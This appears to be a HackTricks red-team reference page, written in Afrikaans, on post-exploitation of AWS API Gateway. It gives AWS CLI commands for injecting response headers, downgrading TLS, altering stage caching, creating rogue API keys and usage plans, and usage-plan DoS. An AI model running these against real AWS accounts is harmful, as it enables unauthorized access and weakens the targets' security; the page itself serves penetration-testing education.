AWS - API Gateway Post Exploitation

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

API Gateway

Vir meer inligting kyk:

pageAWS - API Gateway Enum

Toegang tot nie-blootgestelde API's

Jy kan 'n eindpunt skep in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint met die diens com.amazonaws.us-east-1.execute-api, blootstel die eindpunt in 'n netwerk waar jy toegang het (moontlik via 'n EC2-masjien) en 'n sekuriteitsgroep toewys wat alle verbindinge toelaat. Dan kan jy vanaf die EC2-masjien die eindpunt bereik en dus die gateway API aanroep wat voorheen nie blootgestel was nie.

Gebruiksplanne DoS

In die Opsomming afdeling kan jy sien hoe om die gebruiksplan van die sleutels te verkry. As jy die sleutel het en dit is beperk tot X gebruik per maand, kan jy dit net gebruik en 'n DoS veroorsaak.

Die API-sleutel moet net ingesluit word binne 'n HTTP-kop genaamd x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

'n Aanvaller met die regte apigateway:UpdateGatewayResponse en apigateway:CreateDeployment kan 'n bestaande Gateway Response wysig om aangepaste koppe of respons-sjablone in te sluit wat sensitiewe inligting lek of skadelike skripte uitvoer.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potensiële Impak: Uitlek van sensitiewe inligting, uitvoer van skadelike skripte, of ongemagtigde toegang tot API-bronne.

Benodig toetsing

apigateway:UpdateStage, apigateway:CreateDeployment

'n Aanvaller met die regte apigateway:UpdateStage en apigateway:CreateDeployment kan 'n bestaande API Gateway-stadium wysig om verkeer na 'n ander stadium om te lei of die keerinstellings te verander om ongemagtigde toegang tot gekaapte data te verkry.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potensiële Impak: Onbevoegde toegang tot gekaapte data, ontwrigting of onderskepping van API-verkeer.

Benodig toetsing

apigateway:PutMethodResponse, apigateway:CreateDeployment

'n Aanvaller met die regte apigateway:PutMethodResponse en apigateway:CreateDeployment kan die metode-antwoord van 'n bestaande API Gateway REST API-metode wysig om aangepaste koppe of antwoord-sjablone wat sensitiewe inligting lek of skadelike skripte uitvoer, in te sluit.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potensiële Impak: Uitlek van sensitiewe inligting, uitvoer van skadelike skripte, of ongemagtigde toegang tot API-bronne.

Benodig toetsing

apigateway:UpdateRestApi, apigateway:CreateDeployment

'n Aanvaller met die regte apigateway:UpdateRestApi en apigateway:CreateDeployment kan die API Gateway REST API-instellings wysig om logboekhouding uit te skakel of die minimum TLS-weergawe te verander, wat moontlik die sekuriteit van die API verswak.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potensiële Impak: Verlaging van die sekuriteit van die API, moontlik om ongemagtigde toegang toe te laat of sensitiewe inligting bloot te stel.

Benodig toetsing

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

'n Aanvaller met toestemmings apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, en apigateway:CreateUsagePlanKey kan nuwe API-sleutels skep, hulle assosieer met gebruikplanne, en dan hierdie sleutels gebruik vir ongemagtigde toegang tot API's.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Potensiële Impak: Onbevoegde toegang tot API-bronne, omseilings van sekuriteitsbeheer.

Benodig toetsing

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated